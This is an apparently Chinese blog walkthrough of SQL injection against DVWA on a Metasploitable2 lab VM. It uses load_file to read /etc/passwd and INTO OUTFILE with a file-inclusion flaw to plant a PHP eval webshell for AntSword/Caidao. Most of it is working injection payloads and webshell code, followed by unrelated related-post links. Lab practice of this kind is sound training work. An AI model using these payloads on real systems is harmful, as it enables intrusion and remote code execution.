SQL注入一句话木马(load_file/out file)
工具
靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑
权限查看
查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)
show global variables like '%secure%';
NULL 表示不可用, 空 表示可用
' order by 2-- 查看字段数
' union all select database(),user()-- 查看当前数据库和用户查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'--
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'--
//注: 我在metasploitable2 的数据库里查了 root@ 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。
不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
发现当前用户拥有对文件读写的权限
load_file / into out file
load_file()
条件:
- 知道文件的绝对路径
- 能使用union
- 对web目录有读权限
如果有过滤单引号,则可以将函数中的路径进行hex或者char编码
1' union select load_file('/etc/passwd'),2--
如果有过滤 ' :
1' union select load_file(\'/etc/passwd\'),2--
也可以16进制编码,或者转成 ASCII码
编码解决!16进制(用编码即不用单引号)
into outfile()
条件:
- 要有file_priv权限
- 知道网站的绝对路径
- 对web有写的权限
- 没有过滤单引号
写入部分有单引号记得 转译 \
' union select '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'--
' union select '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'--
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'--
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'--
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码
尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件
构造木马: /tmp/shell.txt
' union select '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'--
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php
可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
发现成功写入!
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
第三步: 使用菜刀连接
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!
SQL注入一句话木马(load_file/out file)相关推荐
- 后台登录密码绕过+sql注入+一句话木马 实验演示(盾灵)
环境 Windows Server 2008(虚拟机) 安装phpStudy,安装dunling 盾灵投稿系统 dunling是一个CMS在线内容管理器 dirb是Kali内置的一个基于字典的We ...
- php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
- sqlmap写入一句话木马
工具 靶机--metasploitable2 攻击机--kali 环境--Mutillidae 菜刀--蚁剑 主要参数 sqlmap参数:--file-read=RFILE Read a file f ...
- SQL防注入大全——史上最全的 SQL 注入资料
什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...
- SQL注入之sqli-labs(八)
目录 (八)第四十六关到五十三关 (1)补充知识 (2)第四十六关 (3)第四十七关 (4)第四十八关 (5)第四十九关 (6)46-49关使用一句话木马 (7)第五十关 (8)第五十一关 (9)第五 ...
- SQL注入上传一句话木马
利用sql注入上传一句话木马 导读 1. sql注入的危害 2. 文件写入 2.1 webshell.一句话木马.后门 webshell(大马) 一句话木马 木马文件的危害 2.2 文件写入的前提条件 ...
- 一句话木马SQL注入
目录 1.搭建靶机环境 (1)实验环境及思路 (2)搭建靶机环境 2.用Navicat构建一句话SQL注入木马 3.通过菜刀连接靶机 1.搭建靶机环境 (1)实验环境及思路 靶机:centos7 以安 ...
- sql注入与一句话木马
0x00 sql注入之一句话木马 首先介绍一下一句话木马: 一句话木马是一种基于 B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHE ...
- 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...
最新文章
- 7 环境变量 立即生效_MySQL5.7升级到8.0过程详解
- C++ 中隐藏DOS调用的命令行窗口
- SAP MM T-code MD04的使用,是有前提的!
- 千呼万唤,ACS始出来
- linux 文本处理 awk 几个特殊的内置变量
- 【ASM 翻译系列第二弹:ASM 12C 版本新特性】
- leetcode C++ 42. 接雨水 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 上面是由数组 [0,1,0,2,1,0,1,3,2,
- linux内核md5,浅谈MD5及简单使用
- 漫画:什么是HashMap?
- 计算机进制简称,NO.A.0007——二进制;计算机容量单位B、KB、MB、GB和TB关系
- python seaborn_Python数据分析之Seaborn(样式风格)
- pythonweb测试_python的web自动化测试
- python机器学习-糖尿病预测模型
- IP地址、网络号、主机号、网络地址、子网掩码、网关、192.168.0.1/24是什么意思
- PHPWIND7.3.2设置伪静态方法
- 5、蓝桥杯之手机尾号评分
- c++多线程之packaged_task
- uni-app 获取移动设备的MAC地址
- Semi-supervised semantic segmentation needs strong, varied perturbations
- 大事件!PCIe SSD与SATA SSD同价啦
热门文章
- HTML CSS之复合选择器中的交集选择器、并集选择器、后代选择器、子元素选择器、相邻兄弟选择器、属性选择器
- 抽象方法和抽象类规则
- win10在此计算机上找不到系统映像,解决Win10系统Windows找不到文件确定是否正确...
- C语言-广度优先遍历
- AUTOCAD——面域
- jsp实现一个简单的登陆界面(不连数据库)
- 深入剖析 grep 命令
- 小程序的三种弹框showToast、showModal、showLoading
- 在我们使用vue-admin-templete进行二次开发的时候,我们会发现有些是英文,比如分页里面的每页尺码。
- 如何提升会议体验感和氛围感?